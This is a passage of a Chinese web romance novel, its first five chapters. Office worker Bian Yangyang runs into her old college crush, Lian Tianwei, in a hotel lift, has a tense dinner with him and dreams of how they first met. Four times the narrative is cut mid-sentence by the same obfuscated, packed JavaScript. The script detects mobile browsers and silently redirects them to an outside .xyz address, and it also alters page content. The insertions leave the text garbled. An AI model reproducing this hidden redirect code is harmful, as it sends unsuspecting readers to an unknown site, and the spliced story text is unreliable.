《相向而行包月》 1. 第 1 章 连着两星期出差，边洋洋累得没脾气了。 箱子往酒店房间的行李架旁一搁，脱下羽绒服往床上一扔，鞋都懒得换就一屁股坐在了床尾。坐着还不得劲儿，干脆呈大字躺了下来。 床铺柔软无异味，边洋洋舒服得眯起了眼。 半年前视频面试的时候，她现在的直属经理问她可不可以接受25%的出差率，她忙不迭地答应，心说这个频率甚合心意，每月有一个星期在别的城市走走多舒爽，可以看不同的风景，品尝各地的特色美食。 然而，自她完成入职培训正式上岗以来，出差率少说50%，直接翻番了！ 一开始还有新鲜感，时间长了只觉得累。 累归累，她喜欢现在的工作。工作内容，同事关系，薪资福利，目前为止都还算满意，不然也不会一直坚持到现在。 从机场到酒店这一路，手机安静如鸡。她在出租车里清清静静地补了个眠，那会儿是真困，这会儿躺在床上倒是没什么睡意，就是身体有些乏，脑子里却还在思考着怎么完善一下明天要汇报的ppt。 要是往常，手机不是各种信息就是电话，今天这是怎么了……连个广告通知贷款信息都没了？！不太对劲…… 边洋洋微眯的双眼突地睁大！她抓起手机一看，果然是忘记取消飞行模式了。 刚切回正常模式，短信和微信消息就不停地往外蹦，大多是工作上的事，没法儿继续躺平了。她不自觉地坐直了身体，挑着紧急重要的先回复，一秒进入了工作状态。没多会儿，人已经从床上挪到了书桌，笔记本电脑的键盘啪啪作响。 全神贯注处理完公事，外面天已经黑透了。窗外霓虹闪烁，依稀可见大街上的车水马龙，来势汹汹的寒潮并没有让这夜色有何不同。 天气预报说，北城今晚可能会下雪。 站在窗边眺望远处的边洋洋想，如果能下雪就好了，记忆中银装素裹的北城很美，特别是A大校园。 仔细算起来，她已经五年半没回过北城了，自从大学毕业后就再没回来过，也就再没见过下雪的天气。 在北城上了四年大学，边洋洋把这座城市当成了她的第二故乡，飞机盘旋在北城上空时就起了缅怀青春近乡情怯的心绪。不过，这种心绪在坐上出租车的那一刻就消散得七七八八了。社畜的疲惫可以战胜一切矫情。 夜景看够了，边洋洋踱步到书桌合上电脑，坐在旋转椅里发了会儿呆，回忆了一些当年在这座城里认识的人和发生的事，大部分都是美好快乐的，不愉快的她选择性地去忽略。博士毕业后进入职场，没遭到社会毒打是不可能的，很多事她自认都看开了。伤春悲秋的情情爱爱算个屁，过去的痛也罢恨也罢不值得去回味，何必跟自己过不去呢。 这些年一个人生活不也挺好的吗。 肚子“咕”了一声又一声。一个人去吃点什么好呢？本来约了大学室友方心意和吕欢一起吃晚饭，结果那俩家伙临时都有急事放了她鸽子。 她蓦地想起了与那个人的第一次会面，也是这个时节。 五年半了，说长不长说短不短，她和那个人的牵扯，居然已经不记得太多细节了。果然，时间是可以冲淡一切的，记忆也好，情感也罢。 边洋洋在心里骂了自己一句，想谁不好要想他。可思想这玩意儿，有时候就是不咋受主人控制。 她拿出手机，打开美食点评app，搜索酒店附近的美食。 酒店隔壁是一家商场，里面进驻了许多连锁美食品牌，一家西餐厅吸引了她的注意力。 重新穿好羽绒服带上手机和房卡出门，边洋洋边走边给自己想了好几条吃这家的理由。 这家西餐厅有很多单人套餐可选，正好适合她这样独自觅食的出差狗；套餐有肉有菜有主食有水果，种类丰富营养均衡；可以刷公司商务卡开报销凭证；离酒店近，走路即达，很环保。 想得太出神，电梯到的时候她埋头走了进去，一点注意力都没有分给电梯里的陌生人。 想不出别的理由了，边洋洋的五感回到了电梯箱体这一方狭小的空间。 ！！！ 这男人说话的声音好熟悉！ 边洋洋竖起耳朵全神贯注地听了起来，心跳瞬间不受控制地加快了，揣在衣兜里的双手缓缓握成了拳。 “听说领导层有变动，不知道架构会不会大变。”说这话的是她记忆里熟悉的声音，低沉磁性，语气不急不缓，来自她的右后方。 另一个男人说：“哎，谁知道呢，听天由命吧。” 两人应该是同事。 边洋洋微微扭头，幅度小到可以忽略不计，她不想让背后的人察觉她在看他们。就是这么个小幅度，刚好够她的余光扫到说话人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317128|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸。 真的是他！！！ 边洋洋从小就是个声控，别人看脸认人，她听声辨人。那人的声音在她这里独一无二，哪怕失联近两千个日夜也始终无法忘怀。她即便不看也能确定，只不过是抱着侥幸心理看一眼做个二次确认。 万一不是呢，毕竟世界这么大，也许就有人跟他声音相似度达到百分百呢。 她慌张地收回目光，轻轻抿了抿有些干燥的唇，垂眸看着脚下，却不知该聚焦何处，而心跳似乎又快了些。地板反射着明晃晃的光，晃得她大脑有些空白，木木地不知该做何反应，却蹦出了一个不合时宜的想法。 一会儿出去买张彩票，应该能中奖。 电梯里红色的数字不断变小。背后的两人有一搭没一搭地说着话。边洋洋现在完全听不进他们说什么内容了，只恨不得立马砸开电梯出去透透气，她已经从心跳过速发展到胸闷气短了。而不断挤压他体内氧气的就是那曾经把她迷得五迷三道的嗓音以及那张脸。 当年有多喜欢现在就有多厌恶。本以为过了五年多自己已经彻底放下，然而，猝不及防在出差的酒店电梯里偶遇，那人甚至都没察觉到她的存在，她心里就已经酸酸胀胀地翻江倒海了。一时间把那些封存在心底深处的伤痛恨意全给搅出来了，说不出的难受。 为什么就没有早几分钟或者晚几分钟出门呢，老天爷真是会跟她开玩笑。这个国家有十几亿人口，这个城市有两千多万人口，两个人能同时出差入住同一家酒店又乘坐同一部电梯的概率有多大？她一个中奖绝缘体，竟也赶上了一次小概率事件，这也是没谁了。 她不喜欢此刻的自己。被一个拒绝过自己的男人轻易就牵动了情绪，自己浑身上下每个细胞都叫嚣着难受，人家谈笑风生泰然自若，特没面儿了。 怎样才能体面呢？ 一分一秒变得格外漫长，似乎过了许久数字才终于跳到了1。“叮”地一声响，电梯门缓缓打开，空间不再密闭，酒店大堂里带着浓烈香味儿的空气霎时间铺天盖地地涌了进来。 边洋洋不喜欢这人工香味儿，却还是强迫自己深深地吸了一口气，揣在衣兜里的拳头松开了，掌心汗津津的很不舒服。 “好巧啊，学长。” 电梯门完全打开的瞬间，边洋洋华丽转身，微微仰头微笑着对练天维打招呼，看上去一脸轻松自若。 2. 第 2 章 边洋洋并没有想太多，就是心里堵着一口气，在假装没看见和跟人打招呼这两个选项之间只犹豫了一秒就选择了前者。理由很简单，不能只是自己一个人难受，怎么也得膈应膈应他。虽然以她对练天维的了解，练天维压根儿不会觉得被膈应，毕竟人家从头到尾只把她单纯地当学妹看待。 同处电梯的时间太短，边洋洋来不及全面分析利弊，脑子一抽话就那么秃噜出去了。话一出口，她又后悔了，这么多年没见，万一人家压根儿不记得她了呢…… 后悔归后悔，气势上不能输。 边洋洋打完招呼就直勾勾地盯着练天维，笑得坦然，小酒窝若隐若现。可她心里却在叹气，这样就能体面吗？谁放不下谁就体面不了，装作轻松无非是自欺欺人罢了。 等在电梯外的人见门打开，也不管里面的人出没出来，抬腿就往里迈。 边洋洋旁若无人地站着没动，不动声色地观察着一别多年的练天维，现在的他比之当年在学校的时候更加成熟，还多了社会精英的派头。笔挺的灰色中长款羊毛大衣，一丝皱褶也无的西装裤，锃亮的黑色皮鞋。岁月这把猪饲料没有让大她三岁的练天维发福，依然是个高挑匀称的衣架子，穿什么都好看。 如果忽略掉两人之间那些暧昧纠葛，边洋洋不得不承认，眼前的练天维依旧是她喜欢的那款。只可惜，这人成熟精英的外表裹着一颗心机深沉的心，捂不热，走不进，练天维从来没喜欢过她，就算有那么点喜欢也没想过跟她在一起，以前都是自己一厢情愿地犯傻。 边洋洋忽然很好奇，练天维现在有另一半了吗？他爱她吗？有多爱？练天维这样的人真的会爱人吗？如果会，那个被爱的人应该会觉得很幸福吧。 越想越心塞，边洋洋赶紧打住这些念头，再想下去怕是要崩不住脸上的假笑了。 练天维明显地怔愣了一瞬，瞳孔微震，随即惊喜出声，眼角眉梢都是笑意，那样子特别真情实感，不像是装的。 边洋洋暗自庆幸，他还认识我。 “洋洋？！天呐！我，” 外面的人不断走进电梯，练天维话没说完就一把拽住边洋洋的胳膊往外走。边洋洋看了看练天维覆在他胳膊上的手，指节分明，修长有力，手掌的力道透过羽绒服传递到了她的皮肤，刺得她心猿意马。她很不争气地没有挣脱。 这里人多，动作太大有失体面，边洋洋在心里这么说服自己。 练天维的同事来回打量两人，笑道：“遇到熟人了？” 练天维忙不迭点头，还沉浸在惊喜里，说：“是啊。真的是太巧了，周哥，我就不跟你一起吃饭了，不好意思啊，等回去了我请客。” 被叫周哥的人连连摆手跟他们道别，“没事儿，你俩聊，我先走了。” 等人走远了，电梯门前也没人了，边洋洋动了动被拽住的胳膊。 练天维有些尴尬地松了手，两手交叠不断摩挲，竟似有几分手足无措。 “不好意思，我太激动了！洋洋，你也是出去吃饭的吧？我们一起吧，顺便叙叙旧。” 有什么好叙的，边洋洋默默在心里吐了句槽。 不过，为了证明自己真的放下了练天维，边洋洋还是同意了他的邀约。毕竟两人从未在一起过，偶然遇到曾经认识的校友一起吃顿饭再正常不过，矫情拒绝才是心里有鬼，那样也一定会被练天维看低的。 她不想被练天维看低，从来如此。 “好。”边洋洋答道，脸上的笑容早已不在。 练天维见她答应，似乎更开心了，也像是松了一口气，他问边洋洋：“你想吃什么？” 边洋洋略一思索，答道：“就去附近的那家西餐厅吧。” 边洋洋在房间搜索美食的时候，留意到附近的商场有很多合她口味的餐厅，相比之下，西餐厅的食物其实她现在没那么喜欢了。在米国那段时间，学业压力太大，没时间做饭，午餐和晚餐都是各种汉堡，离开米国后就再不想吃汉堡了。 她是故意选这家的，幼稚地想看练天维的反应。 多年未见真人，练天维风采依旧，边洋洋理智上告诉自己要跟他保持距离，可总是忍不住偷偷打量他，毕竟是自己喜欢的类型。曾经在练天维那里吃瘪受伤是一回事，无差别欣赏美男是另一回事。拼命工作频繁出差的她已经很久没遇到过合眼缘的帅哥了，不看白不看，看了也白看。 听到“西餐厅”几个字，练天维神色有顷刻的变化，像是怀念。边洋洋心说自己怕不是有病，练天维有没有反应对现在的她来说都毫无意义了，他永远不可能属于你。 练天维轻笑了声，道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317129|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，听你的。我们第一次单独在校外吃饭吃的就是这个，只不过是在民族大学附近的分店。你还记得吗？” 那清透磁性的笑声让边洋洋这个声控脚步一顿，心跳也跟着漏了一拍。她立马在心里默念了三遍“他是拒绝过你的男人！”。 “不记得了。”边洋洋不着痕迹地深吸了口气，在旁人看来是一副浑不在意的样子，“又不是什么重要的事儿。” 练天维的笑僵在了脸上，眸色黯了下去。 两人跨出酒店大门，就像一下从春天跨进了严冬，温度骤降，北风呜呜地吹，却没有下雪。 边洋洋被吹得一哆嗦，赶紧把羽绒服帽子掀起来扣在脑袋上。 练天维潇洒地把手揣进衣兜里，侧头看向把自己裹得严严实实的边洋洋，“跟你有关的事对我来说都是重要的，所以我都记得。” 边洋洋觉得自己大概是被寒风吹傻了，不然怎么会听出练天维的语气里带着忧伤呢。她在心里翻了个白眼，当年拒绝了自己的表白，现在为什么要撩她一个单身girl，渣男！如果练天维是单身，他说这话边洋洋差点儿冲动再撞一次南墙。 可她早已不再如年少那般莽撞。 所以，很快就冷静下来的边洋洋没什么想法，只觉得这人虚伪得很。都记得跟她有关的事，这话边洋洋打死都不信。试问，如果不是放在心尖尖的人，谁会去记跟她相处的那些鸡毛蒜皮？！她边洋洋在练天维这里是什么地位，她现在还是有自知之明的。可惜几年前的她没有，所以才会傻乎乎地往上扑。 餐饮业竞争激烈，不过才六年，这家店就不复当年荣光了。今天是工作日，生意不如周末节假日，但店里的人也太少了点儿，偌大的店铺只稀稀拉拉坐了几桌。 练天维没问边洋洋的意见，在服务员的带领下，挑了个角落安静的位置，离他们最近的一桌隔了五个桌子。 明明是同样的装潢设计，六年前没觉得，边洋洋现在却嫌弃两人位的桌子太小了。跟一个一米八几的大男人对着坐，一不小心竟然碰到了对方的脚尖。边洋洋立马往右挪了两下屁股，跟练天维错开了。 她现在就是后悔，干嘛要来这里找罪受啊？！她在电梯里就该忍着，跟练天维打招呼相认算怎么回事儿啊，没把人膈应到，倒是把自己弄得浑身不舒服。 3. 第 3 章 来不及去想深层次的原因，服务员给两人递了菜单，“两位要什么喝的吗？可以先点酒水饮料再慢慢点菜。” 边洋洋：“不用。” 练天维：“好。” 两人异口同声。 服务员一时有些尴尬，微笑道：“那两位先慢慢看，点好了按这个红色按钮就行。”服务员说完就急急忙忙去服务别的客人了，来去如风。 大概是因为生意不好，餐厅里的服务员并不多。 练天维把菜单往桌上一搁，没打算看，径自掏出湿纸巾开始擦台面，自然而然地先擦了边洋洋面前的位置，边擦边说：“你帮我点吧，跟当年一样就行。” 这画面像极了六年前，只是台词有点不一样。当年练天维说的是，“我推荐他家的西冷牛排。” 边洋洋木木地点了点头，脑子被室内的香薰熏得有点晕乎。目光在菜单流连，却一个字都没看进去，她定了定神，选了一款单人套餐。 “我点了单人套餐，你点你自己的吧。”边洋洋说，“我都不记得跟你一起来吃过这家，又怎么会记得你当年点了什么呢，你太高估我的记忆力了。” 她不想再重蹈覆辙了，一个坑摔一次就够了。她允许自己犯错，但是不允许自己在同一件事上犯两次错。 练天维眼里的讶异和惆怅一闪而过，张了张嘴似乎想说什么，但最终什么都没说，只是笑了笑。擦完台面，他拿起菜单随意地扫了一眼就按下了红色按钮。 离他们最近的服务员快步走来，练天维先开口了，“两份单人套餐，两瓶椰汁，谢谢。” 边洋洋眉毛一抬，没说什么，算是默认了。椰汁是她曾经爱喝的饮料，虽然近几年她已经很少喝了。 “好的，先生。”服务员说完拿着他们的菜单走了。 练天维想要去拿边洋洋面前的玻璃水壶帮他倒水，却被边洋洋抢先拿走了，“我自己来。” 练天维的手悬在空中，眼里是不加掩饰的失落，半晌才讷讷开口，“好吧。” “你变了。” 音乐声突然响起，练天维轻声说的这句话，边洋洋没有听见，自然也就没接话。 前菜很快就上桌了。边洋洋斜着身子埋头开吃，一秒都不想停下来。这前菜并不是什么绝世美味，他只是不想给练天维机会叙旧，她害怕听到练天维说他现在的感情生活多好之类的。 她的心胸没那么大度。在感情这事儿上，她的心眼儿比针尖还小。没能在一起还要祝福你这种操作，她做不来，表面工夫都做不来。能一起坐在这里吃饭已经突破她一贯的底线了。 练天维倒是吃得不紧不慢，时不时还会看看边洋洋，见她纸巾脏了就递过去一张干净的，水喝没了就给满上，椰汁上桌倒好递到她面前。大概是感觉到边洋洋不太想说话，他识趣地没开口。 汤和主菜也陆续上桌了。两人就这么静静地吃着，在这个人少的角落里，除了音乐声，就只有刀叉碰碗盘的声音时不时响起。 都说美食可以抚慰受伤的心灵。吃饱喝足，身子暖和了，负面情绪少了许多，边洋洋心情也渐渐平静下来了。其实也没什么大不了的，不就是邂逅了曾经的单恋对象还一起吃了顿饭么，多大点儿事儿。 你看，一顿饭平平静静啥都没发生，地球离了谁都照样转，她边洋洋没有练天维的生活照样多姿多彩。 练天维见她吃完了，便拿起纸巾擦了擦嘴角，对边洋洋说道：“我去下卫生间。”然后起身离开了。 边洋洋知道他这是去结账了，这人以前就这样，总拿卫生间当借口，去外面吃饭从不让她花钱。他们为这事儿没少争执。 她扭头看着练天维挺拔修长的背影渐行渐远，鼻子忽然有些发酸。练天维以前对她的好她都记得，她也从没怀疑那些好是虚情假意，他只是不喜欢她罢了，他其实也没什么错，只是无意之中伤害了自己而已。 在学校的时候练天维就比同龄人成熟，他是一个很现实的人，知道自己要的是什么并为之努力，顺便舍弃一些成功路上的障碍。边洋洋始终觉得当年练天维对她是有些感情的，不然也不会无缘无故对她那么好，还偷偷亲她。 只是，在练天维那里，离开校园后，儿女情长就是那个需要第一时间清理的障碍。其实，社会上有许许多多练天维这样的人，边洋洋也是离开校园走入社会才明白这点。 大概只有象牙塔里的人才会把爱情看得那么重吧。 这次偶遇，看到他事业有成的样子，早已不再是楞头少女的边洋洋觉得自己彻底释怀了。她忽然就不想怪他了，要怪只怪当年的自己手贱加了他的扣扣。如果不是那个扣扣，他们就不会认识，自然就没有后面那一系列的纠葛。 练天维没多久就回来了。 边洋洋把羽绒服重新穿在了身上，此刻正端坐在位置上等他。 “我们走吧。”练天维抄起椅背上的大衣搭在臂弯，“一会儿在酒店大堂吧喝杯饮料？” 他有很多话想对边洋洋说，吃这顿饭硬是没找着机会。 边洋洋抬腿往外走，“不好意思，我一会儿还有个跟美国同事的会议。”确实是有这么个会议，只不过时间是在明晚。 好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317130|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年都没联系了，何必呢。 练天维无奈笑道：“那好吧。” 两人沉默着走回了酒店，北风似乎刮得更猛烈了些。 等电梯的空档，练天维问：“可以加个微信吗？” 边洋洋万万没想到练天维会跟她要联系方式。依着她对练天维的了解，自己又不是什么了不得的人脉，加上过去两人之间那些似有似无的暧昧，他应该唯恐避之不及才对吧。 犹豫了一瞬，边洋洋还是打开了自己的二维码，示意他扫码。 练天维扫完，盯着她的手机，“你通过一下？” 电梯到了，有人从里面出来，边洋洋走了进去，在练天维的注视下不情不愿地点了通过。 “不叫洋洋得意了？”练天维打趣道。 “洋洋得意”是边洋洋以前的扣扣昵称，那个扣扣号自她出国后就没再用了。 这人总在有意无意地提过去的事儿，边洋洋心里烦得不行，只盼着电梯能飞起来，下一秒就能出去。 “人总是会长大的，哪能一直傻呢，你说是吧学长？” 边洋洋现在的微信昵称就是本名，是回国以后才注册的账号，为工作服务的。联系人里百分之八十都是客户和同事，所以她几乎不刷朋友圈。 练天维收起手机，说：“你很聪明，傻的是我。” 边洋洋：“……” 电梯到了边洋洋所住的楼层，她想了想还是礼貌地同练天维道了别，然后才头也不回地走出了电梯。 回到房间，边洋洋快速洗了个澡换上干净的睡衣。原计划是吃完晚饭再看看ppt的，这会儿满脑子都是练天维，根本静不下心，干脆关灯睡觉。 以前她刻意不去回忆，时间久了成了习惯，已经很久没想起过练天维了。今天这一偶遇，见了真人，跟他有关的记忆重新变得鲜活起来。许是压抑太久，一旦复苏就来势汹汹，越躺越清醒。 边洋洋烦躁地捞起正在充电的手机，打开新加好友的头像看了看。 那是一张操场跑道照片，放大看的话，角落处依稀有一个跑步人的背影，大概是不小心入镜的路人甲吧。 边洋洋心里莫名松了口气，幸亏不是情侣合照，否则她一定会不顾面子里子把人给拉黑，反正以后也不会再见。 看完头像，终究是抵不过自己的好奇心，边洋洋又点开了练天维的朋友圈，不出意料的干干净净。 好奇心得到了满足，边洋洋重新把手机放回床头柜，强迫自己入睡。 好不容易睡着后，她做了一个梦，在梦里她回到了初遇练天维那天。 4. 第 4 章 “同学，你书包的拉链开了。” 边洋洋第一反应是，这人说话声音可真好听，苏她一脸。 直到肩膀被人轻轻拍了一下，低沉磁性里带着几分柔和的男声再次重复，“你书包的拉链没拉。” 校门附近人来人往，边洋洋惊讶地“啊”了一声，一边把书包拽到面前查看有没有少东西，一边道谢，“谢谢你提醒啊。” “不客气。”男生道。 边洋洋停下检查的动作，抬头看向说话的人，这一看，她就愣住了。 哇哦！是个温文尔雅的大帅哥！五官完全长在她审美点上了，一时舍不得移开眼。 可惜人没给她时间多看，冲她微笑了一下就毫不犹豫地离开了。 边洋洋顾不上一一检查书包里的东西了，反正若是丢了也找不回来了。她急急忙忙地拉上拉链，推着箱子紧跟了上去。 她也不知道自己跟上去能干嘛，这行动完全出自本能，像极了飞蛾追光。 大帅哥的背影也很好看，高大匀称，走路时挺得笔直自带气场，在人群里显得格外出众，吸引力不少路人的目光。 大帅哥右转进了A大的校门。 “太好了，他也是A大的学生。”边洋洋小声地自言自语，心情都变得好了起来，飞机晚点的不快顷刻间烟消云散。 她保持着三米左右的距离缀在大帅哥后面，帅哥腿长步子大，她跟得有点吃力。一路跟到了计算机学院正门，见大帅哥进去了，微喘的边洋洋才反应过来这里距离她的宿舍要走半个小时。 “啧啧，美色误我也。”她转身，脚步轻快地推着箱子往宿舍方向走去，边走边轻声哼唱一首欢快的英文歌。 计算机学院一楼教职工办公室里，练天维拉开百叶窗帘，看着窗外渐行渐远的人影露出了微笑。跟了这么久，竟然没有追上来要联系方式，她还真是与众不同。 开学第一天晚上，A大女生宿舍楼格外热闹。走廊过道里人来人往吵吵嚷嚷，一不小心就能踩到某种包装盒或是外卖盒。 边洋洋背着双肩包，提着24寸的行李箱，艰难地爬上了六楼，这是这栋没有电梯的宿舍的最高楼层。她在这里已经住了三年了，第一天来这里的情形历历在目，仿佛还是昨天的事。 六楼住的都是大四学生，同住一层楼这么久，互相认识的不在少数。边洋洋刚把箱子放到地上，就有路过的女生跟她打招呼。 “嗨～洋洋你怎么才来，要帮忙吗？” 北城的九月昼夜温差大，白天大太阳晒着体感是夏天，入夜好似一下进入秋天。即便如此，拎着24寸的行李箱一口气爬上六楼，边洋洋还是出了薄汗。 她一手扶住箱子的拉杆，一手抬起抹了把脸上的汗，“飞机晚点了，不用帮，谢谢啊。” “害，客气啥，那我先回宿舍了啊。” “嗯。” 边洋洋把双肩包从背上取下来，搁在箱子上，然后推着箱子朝走廊尽头走去，一路上跟好几个同学打了照面寒暄了几句。 尽头的601宿舍门没关严，留了一道小缝，白炽灯的灯光从缝里漏了出来，提示边洋洋屋里有人。 箱子把门顶开，边洋洋看到了她熟悉的舍友，吕欢和方心意，两人正围着电脑，不知道在看什么。 “姐妹们，我回来啦～” 边洋洋反手把门给关严了，隔绝了走廊的吵闹嬉戏声。 吕欢和方心意同时抬头向她看了过来，冲她微笑，起身跟她来了个大熊抱。 “亲爱哒，想死我啦～”吕欢嘴甜，最爱说这种肉麻话。 边洋洋：“我也是。” “你可算来了，”方心意指了指公用桌子上的几个一次性饭盒，“给你带了好吃的。” A大的本科生宿舍是四人一间，但边洋洋所在的601从大二起就只有三个人了。离开的那位叫耿乐，大一时追校艺术团的某女生暴露了性向，被追的女生一系列骚操作把人给搞抑郁了，大一结束就申请退学出了国。 空出来的床位堆满了三人的杂物。 边洋洋的床位正好对着那张空床，她把箱子推到自己的书桌旁，“太好了，正好饿了。” “看什么呢你俩？”边洋洋走到公用桌旁，打开最上层的盒子，是每次开学都会吃到的卤鹅掌卤鹅翅，吕欢妈妈的拿手好菜。 “这学期的课表。”吕欢说，“明早9点在学院一楼的机房，画设计图。” 边洋洋戴上一次性塑料手套，自顾自拿起一块鹅翅啃了起来，“阿姨的手艺真是一如既往的好啊。” “都大四了还有课，”方心意一边抱怨一边顺手挑了块鹅掌，“还好只上两个月。” 看完了课表和邮件，吕欢合上电脑，从柜子里拿了一瓶清酒出来。 “一个暑假不见，咱喝一个呗。专门从家里偷偷拿的度数不高的，洋洋也能喝。” 边洋洋的酒量是宿舍几人里最差的，白酒一口倒，红酒啤酒有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317131|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一杯的量，清酒度数低，大约能喝个一两杯。 “好啊，”边洋洋丢掉骨头，扯下脏了的手套扔进一旁的垃圾桶里，怕一会儿喝晕了没力气洗澡，“你们先喝着，我箱子里有麻辣花生和牛肉干，我先去冲个凉。” “好，都是我爱吃的。”方心意熟练地转动密码数字，打开了箱子，里面一半都是吃的。 十分钟后，边洋洋洗完澡出来了，头发湿漉漉地贴着，还在滴水，她从衣柜里拿了干发帽把湿发包裹好。 吕欢和方心意已经吃完一包花生喝完一杯酒了，见她坐下，吕欢推给她一杯酒，“来，咱仨干一杯，最后一年了，姐妹们。” 说到这个就有那么一点点感伤了。她们宿舍人少，彼此之间又没什么竞争，关系一直挺好的。 边洋洋端起杯子，笑道：“这不还有一年呢么，来来来，祝我们都能拿到想要的offer。” 吕欢：“好，祝我们前程似锦！” 方心意：“再加一个，早日脱单～出了校园可就没有纯纯的恋爱了啊。” 豪迈地喝完一杯，方心意这个话唠开始表演了，她拍了拍坐她旁边的吕欢的肩膀，“诶你说，咱俩也就算了，长相普通没人追，可我们洋洋不一样啊，这些年跟她表白过的男生少说也有十几个了吧，你怎么就这么看不开要陪我们单身呢嘿。” 吕欢立马反驳方心意，“你没人追，我可是有人追的。” 方心意哈哈大笑，“你说的是那个娘里娘气的艺术系男生吗，还学女孩子化妆的那个？他还没你man呢。” 吕欢是个大大咧咧的北方姑娘，为人豪爽，有不少男生哥们儿，但无一例外都处成了兄弟，没有发展成男朋友的可能。只有方心意口中的艺术系男生跟她表过白，但她拒绝了，倒不是因为他娘，而是没有共同话题聊不到一块儿。 “我是女汉子我骄傲。”吕欢说完又干了半杯清酒。 边洋洋静静地听她们说，时不时被逗笑，自顾自地啃鹅翅，等她们说完了才道：“这么多好吃的还堵不上你们的嘴，单身有什么不好的，省钱又省心，再说了，我这不是还有你们么。” 吕欢：“我并不想省钱啊，如果是帅哥，我乐意为他花钱。” 方心意点头，“我也是，可惜帅哥都爱美女，比如洋洋这样的。” 说到帅哥，边洋洋脑海里瞬间就浮现了刚才遇到的大帅哥的俊美脸庞。如果是他的话，那她也愿意花钱花精力，颜控宿舍没救了。 5. 第 5 章 边洋洋主动换了个话题，“下周要选毕设课题了，你们想好选哪个导师了没？” “没呢，我打算选个不严格的，不用天天做实验那种。”方心意叹了口气，“哎，老娘还有个辅修要搞毕业论文。” 说到这个，吕欢也很愁，“老娘也跟你一样要搞两个毕业论文好吧，你好歹工作算是定下来了，我特么的还得抽空写简历参加招聘会找工作呢。” 方心意给自己倒满酒，“来来，咱俩苦命人干一个，下次还不知道啥时候才有空一起喝酒呢。” 比起那些热门院系，她们环境学院学生挺少的，一届就三四十人。百分之九十以上的学生本科毕业后选择继续深造，对科研的热爱是有的，更重要的原因是本科生真的不好找工作。 吕欢和方心意就是那不到10%的异类，早早决定了毕业就工作，因而都辅修了别的专业。 说来也巧，他们三个的第一志愿都不是现在的专业。报考A大的牛人实在太多，热门好就业的专业竞争激烈，最后调剂到了热门但不好就业的环境科学与工程专业。 边洋洋当初填的第一志愿是金融专业，其实她倒不是有多热爱这个专业，就是听人说好就业挣钱多，别人都选这个专业，肯定错不了。说白了，就是盲目跟风。她跟很多十几岁的学生一样，压根儿不清楚自己到底喜欢什么专业，也没认真想过以后做什么工作。那会儿的她觉得自己还是个孩子，适应大学生活后再想这些也不迟。 所以，落选了她其实没有多失落。毕竟学校招牌在那儿，就业总不至于太差，她是这么想的。 然而，进入大学后的边洋洋在了解了历届学长学姐们的就业出路后，才意识到专业限制有多大。所以，她早早决定了随大流去国外读博。 “还是学霸好，妥妥地保研。”吕欢问边洋洋，“你想好了吗，出国读博还是继续留在A大读研啊？” A大是北城最好的大学之一，长期全国排名前三的顶尖学府。 边洋洋当年是以全市第一的成绩考入A大的。入校的时候，她的高考分数并不是学院最高的，但到了大四，她的绩点却是最高的。她对自己的专业谈不上多热爱，也不讨厌，学得还挺好。在她看来，不喜欢不是学不好的理由。 就算她平日里社团活动参加不多，综合排名会受到影响，但保研名额肯定有她一个。 “如果顺利的话，我还是想出国见见世面。”边洋洋说。 三人边喝边聊，聊前程聊八卦，边洋洋一不小心就喝了三杯清酒，她自觉没醉，睡前还刷了牙。 “洋洋你还好吧？脸红得跟我家种的苹果似的。”吕欢扒着卫生间的门，关心地问道。 边洋洋瞅了眼镜子里的自己，还真是，难怪感觉脸热热的，“没事儿，睡一觉就好了。” 吕欢还是不放心，一直盯着她爬上床躺下了才去洗漱。 边洋洋躺下没多会儿就睡着了。 翌日一大清早，宿舍外的鸟儿叽叽喳喳好不欢快。吕欢和方心意还在熟睡，边洋洋却忽的睁开了眼。 她搓了把自己的脸，羞耻感爆棚，扯起杯子捂住了脸。 啊啊啊！不过就看了那么一眼，竟然梦里都是他，邪了门儿了。边洋洋不可思议地想着，越想越觉得自己该抓住大学的尾巴谈一场恋爱了。 